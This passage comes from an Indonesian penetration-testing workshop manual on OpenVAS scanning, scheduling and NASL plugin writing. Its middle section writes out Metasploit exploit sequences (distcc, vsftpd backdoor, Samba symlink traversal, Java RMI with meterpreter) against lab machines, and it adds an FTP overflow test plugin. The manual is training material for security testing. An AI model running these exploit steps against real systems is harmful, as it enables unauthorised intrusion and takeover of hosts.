Account bisa saja berbeda dengan OpenVas yang anda install. Anda mengatur

password ketika melakukan instalasi OpenVas.

Selanjutnya kita akan melakukan pemindaian celah pada OS target yang sudah

disediakan di workshop diantaranya Ubuntu 10 ( Web Vulnerable Target),

Metasploitable, dan lainnya.

Page 35: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10134

Untuk memulai pemindaian, masukkan IP dari mesin target yang akan di pindai.

Disini kita gunakan IP 192.168.56.101 sebagai sampel. Alamat IP bisa berbeda-beda,

pastikan IP target yang anda masukkan benar.

Pemindaian bisa memerlukan banyak waktu tergantung dari banyaknya port yang

terbuka dan banyaknya celah yang ditemukan pada mesin target. Dengan demikian

kita bisa simpulkan bahwa tool OpenVas merupakan tool vulnerability assessment

yang didesain untuk identifikasi celah pada jaringan dan aplikasi server.

Page 36: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10135

Jika proses pemindaian selesai, kita bisa melihat kesimpulan dari hasil vulnerability

assessment. Dikatakan kritis apabila hasil yang muncul adalah High, biasanya status

ini terjadi jika OpenVas menemukan minimal 1 celah yang kritis maka status

kesimpulannya otomatis menjadi High.

OpenVas menyediakan fitur yang lebih detail mengenai hasil output pemindaian, kita

bisa melihatnya dengan membuka Task Detail pada IP target yang telah kita

pindai sebelumnya.

Page 37: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10136

Ternyata setelah kita lihat Task Detail kita menemukan 41 celah berbahaya dengan

kategori High, 21 celah dengan kategori medium, dan 13 celah dengan kategori low.

Untuk lebih jauh melihat apa saja celah yang ada pada mesin kita bisa klik icon Detail

pada Report for “Immediate scan of IP 192.168.56.102”.

Pada halaman detail tersebut jika kita scroll kebawah maka semua daftar celah yang

ditemukan akan terlihat. OpenVas menyediakan fitur generate report, sehingga kita

bisa menyimpan hasil pemindaian termasuk analisisnya ke bentuk format file PDF

ataupun HTML.

Page 38: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10137

Output dari sampel halaman sebelumnya hanya beberapa saja yang dimasukkan

pada modul ini, pada tahap ini kita sudah selesai melakukan vulnerability

assessment. Karena konteks kita saat ini adalah vulnerability assessment maka kita

Page 39: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10138

tidak akan melakukan exploitasi pada celah tersebut kecuali jika konteks kita saat ini

adalah penetration testing.

Asumsi kita sekarang melakukan penetration testing dari hasil pemindaian OpenVas

tersebut kita menemukan banyak sekali celah yang kita temukan dengan status kritis.

Disini kita mengambil celah distcc server (CVE-2004-2687) untuk di exploitasi

menggunakan metasploit :

msf > search distcc

msf > use exploit/unix/misc/distcc_exec

msf exploit(distcc_exec) > show RHOST [IP target]

msf exploit(distcc_exec) > set payload cmd/unix/bind_perl

msf exploit(distcc_exec) > exploit

Kemudian kita akan mencoba exploitasi celah vsFTPD :

msf > search vsftpd

msf > use exploit/unix/ftp/vsftpd_234_backdoor

msf exploit(distcc_exec) > show RHOST [IP target]

msf exploit(distcc_exec) > set payload cmd/unix/interact

msf exploit(distcc_exec) > exploit

Page 40: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10139

Kali ini kita juga akan melakukan exploitasi pada kesalahan konfigurasi ( wide links =

on) maka kita bisa mengeksploitasi dengan langkah berikut :

msf > use auxiliary/admin/smb/samba_symlink_traversal

msf > auxiliary(samba_symlink_traversal) > set RHOST 192.168.56.102

msf > auxiliary(samba_symlink_traversal) > set SMBSHARE tmp

msf > auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...

[*] Trying to mount writeable share 'tmp'...

[*] Trying to link 'rootfs' to the root filesystem...

[*] Now access the following share to browse the root filesystem:

[*] \\192.168.56.102\tmp\rootfs\

Untuk mengakses direktorinya gunakan perintah dibawah ini :

Page 41: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10140

Dan yang terakhir kita akan mengeksploitasi Java RMI Server, celah yang kita pakai

ini memanfaatkan dari konfigurasi default RMI registry dan RMI Aktivasi layanan,

yang memungkinkan kita memuat kela dari jarak jauh.

msf > use exploit/multi/misc/java_rmi_server

msf > exploit(java_rmi_server) > set LHOST 192.168.56.1

msf > exploit(java_rmi_server) > set RPORT 1099

msf > exploit(java_rmi_server) > set LPORT 25882

msf > exploit(java_rmi_server) > set SRVPORT 8080

msf > exploit(java_rmi_server) > set RHOST 192.168.56.102

msf > exploit(java_rmi_server) > set PAYLOAD java/meterpreter/bind_tcp

msf > exploit(java_rmi_server) > set TARGET 0

msf > exploit(java_rmi_server) > set SRVHOST 0.0.0.0

msf > exploit(java_rmi_server) > exploit

Keterangan : 192.168.56.1 ( IP kita )

192.168.56.102 ( IP mesin target )

Page 42: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10141

Schedules

Vulnerability assessment ideal untuk dilakukan secara rutin sehingga kita bisa tetap

terjaga dari celah baru yang ditemukan diluar sana. Mungkin saat ini kita hanya

menemukan 5 celah mungkin suatu saat nanti bisa bermunculan celah baru yang di

temukan di sistem kita sendiri. OpenVas menyediakan fitur dimana kita bisa

mengatur agar OpenVas melakukan pemindaian secara rutin dengan rentang waktu

tertentu. Pada halaman panel OpenVas buka Configuration > Schedules.

Jika anda ingin menambah komponen penjadwalan baru, klik icon kemudian atur

sesuai waktu yang anda inginkan, sebagai contoh :

Untuk mempergunakan pemindaian secara rutin dengan waktu tertentu. Kita tidak

menggunakan fitur Quick start ( pemindaian pertama ).

Page 43: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10142

Klik icon kemudian isi form sesuai kebutuhan anda, sebagai contoh :

Pada schedule pastikan anda masukan kategori penjadwalan sesuai dengan yang

anda buat sebelumnya setelah itu klik Create Task.

Page 44: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10143

Developer Guide

Sebelumnya kita melakukan pemindaian dengan plugin yang sudah disediakan oleh

OpenVas. Namun kita bisa juga membuat plugin sendiri jika memang celah yang kita

temukan tidak bisa dikenali oleh OpenVas disebabkan oleh belum adanya plugin.

Plugin OpenVas digunakan untuk mengenali suatu celah dan proses pemindaian.

Sebagai contoh kita menemukan celah baru apache webserver dari riset ataupun

dari berita keamanan sedangkan di OpenVas, plugin untuk mengenali celah baru ini

belum ada sedangkan di infrastruktur jaringan ada 120 host menggunakan apache,

kita tidak bisa menunggu lama sampai plugin ini dibuat oleh orang lain. OpenVas

dikembangkan terbuka oleh siapa saja sehingga kita bisa berkontribusi untuk

berpartisipasi mengembangkan dan membuat plugin OpenVas.

Plugin OpenVas dibuat menggunakan NASL ( Nessus Attack Scripting Language ), di

workshop ini kita mempelajari mengembangkan plugin dengan metode pemahaman

pola untuk mempermudah peserta memahami dengan waktu yang terbatas.

Plugin development

Ketika pertama menulis sebuah plugin OpenVas, anda memerlukan library

revisions-lib.inc yang memiliki fungsi untuk membandingkan antara string satu

dengan string lainnya. Pada pembelajaran workshop ini kita buat plugin baru

dengan nama file workshop_ftp_server.nasl.

Page 45: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10144

--- workshop_ftp_server.nasl ---

include("revisions-lib.inc");

tag_impact = "Successful exploits may allow remote attackers to executearbitrary code on the system or cause the application to crash.Impact Level: Application";

tag_affected = "Workshop Ftp Server";

tag_insight = "The flaw is due to improper bounds checking when processingcertain requests.";

tag_solution = "No solution or patch was made available for at least one yearsince disclosure of this vulnerability. Likely none will be provided anymore.General solution options are to upgrade to a newer release, disable respectivefeatures, remove the product or replace the product by another one.";

tag_summary = "This host is running Workshop FTP Server and is prone to bufferoverflow vulnerability.";

if(description){

script_id(900000);script_version("$Revision: 1 $");script_tag(name:"last_modification", value:"$Date: 2014-05-17 $");script_tag(name:"creation_date", value:"2010-12-09 06:36:39 +0100 (Thu, 09 Dec 2010)");script_tag(name:"cvss_base", value:"6.8");

script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");script_tag(name:"risk_factor", value:"High");script_name("Workshop FTP Server Buffer Overflow Vulnerability");desc = "Summary:" + tag_summary + "

Page 46: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10145

Vulnerability Insight:" + tag_insight + "

Impact:" + tag_impact + "

Affected Software/OS:" + tag_affected + "

script_description(desc);

script_summary("Determine Workshop Ftp Server Buffer Overflow Vulnerability");script_category(ACT_DENIAL);script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");script_family("Buffer overflow");script_dependencies("find_service.nasl");script_require_ports("Services/ftp", 21);if (revcomp(a: OPENVAS_VERSION, b: "6.0+beta5") >= 0) {

script_tag(name : "impact" , value : tag_impact);script_tag(name : "affected" , value : tag_affected);script_tag(name : "insight" , value : tag_insight);script_tag(name : "solution" , value : tag_solution);script_tag(name : "summary" , value : tag_summary);

}exit(0);

}

include("ftp_func.inc");

## Get FTP PortftpPort = get_kb_item("Services/ftp");if(!ftpPort){

ftpPort = 21;}

Page 47: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10146

## Get Port Statusif(!get_port_state(ftpPort)){

exit(0);}

## Get the FTP bannerbanner = get_ftp_banner(port:ftpPort);if("Workshop Ftp Server" >!< banner){

exit(0);}

## Open TCP Socketsoc = open_sock_tcp(ftpPort);if(!soc) {

exit(0);}

get = recv_line(socket:soc, length:100);

## Sending Attackfor(i=0;i<3;i++){

attack = string("USER ",crap(data: raw_string(0x41), length: 100), "\r\n");send(socket:soc, data:attack);get = recv_line(socket:soc, length:260);

## Check Socket statusif(!get){

security_hole(port:ftpPort);exit(0);

}}close(soc);

Page 48: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10147

Penjelasan singkat mengenai variabel tag_affected, tag_insight, tag_solution,

dan tag_summary merupakan variabel yang berisi informasi mengenai mesin

yang diduga memiliki celah (contoh aplikasi tertentu dengan versi tertentu),

proses bagaimana mesin tereksploitasi, solusi untuk menutup celah

keamanan, dan kesimpulan dari celah tersebut.

Berikut keterangan untuk fungsi deskripsi :

script_id() = Set ID plugin (pilihlah ID yang belum terpakai plugin lain.

Biasanya nilai diatas 100000).

script_version() = Set versi plugin yang telah anda buat.

script_tag() = Set penanda di plugin. Informasi yang terdapat pada

script_tag biasanya informasi seputar tanggal plugin dibuat dan status celah

pada plugin anda apakah tinggi atau rendah (high - low).

script_name() = Berisi nama plugin yang anda buat.

script_category() = Kategori plugin (ACT_DENIAL, ACT_GATHER_INFO,

ACT_SCANNER)

script_copyright() = Berisi nama pemilik hak cipta bisa nama anda atau

perusahaan anda.

script_family() = Berisi informasi mengenai jenis celah atau vulnerability

(contoh: Buffer Overflow, Webserver, Command Injection, Missconfiguration,

dan sebagainta.)

script_dependencies() = Berisi informasi tentang dependensi yang diperlukan.

script_require_ports() = Set port yang diperlukan untuk di pindai.

Sedangkan untuk syntax dibawahnya tidak jauh berbeda dengan bahasa

pemrograman scripting lain seperti perl atau python.

Page 49: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10148

Kemudian plugin workshop_ftp_server.nasl kita daftarkan pada OpenVas

dengan langkah berikut :

# mkdir /etc/openvas/gnupg

# export GNUPGHOME=/etc/openvas/gnupg

# gpg --homedir=/etc/openvas/gnupg --gen-key

Langkah diatas cukup lakukan 1x. Perintah diatas berguna untuk membangkitkan

kunci GPG. Kemudian barulah langkah dibawah ini untuk menambahkan plugin yang

kita buat ke aplikasi OpenVas.

# cp workshop_ftp_server.nasl /var/lib/openvas/plugins/

# cd /var/lib/openvas/plugins/

# openvas-nasl -p workshop_ftp_server.nasl

# gpg --detach-sign -a workshop_ftp_server.nasl

Page 50: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10149

Untuk latihan buatlah plugin OpenVas baru dengan data dibawah ini :

Component Data

Name VulnMediaServer

Vulnerable Buffer Overflow

Port 8071 (TCP)

Banner VulnMediaServer v1.0

Testing Active / Passive

Description Stack-based buffer overflow in VulnMediaServer

allows remote attackers to execute arbitrary code

Affected v1.0

Solution None

Plugin ACT_DENIAL

Risk Factor High

Score

CVSS Base Score 7.6

AV:N/AC:H/Au:N/C:C/I:C/A:C/E:H/RL:T/RC:UC)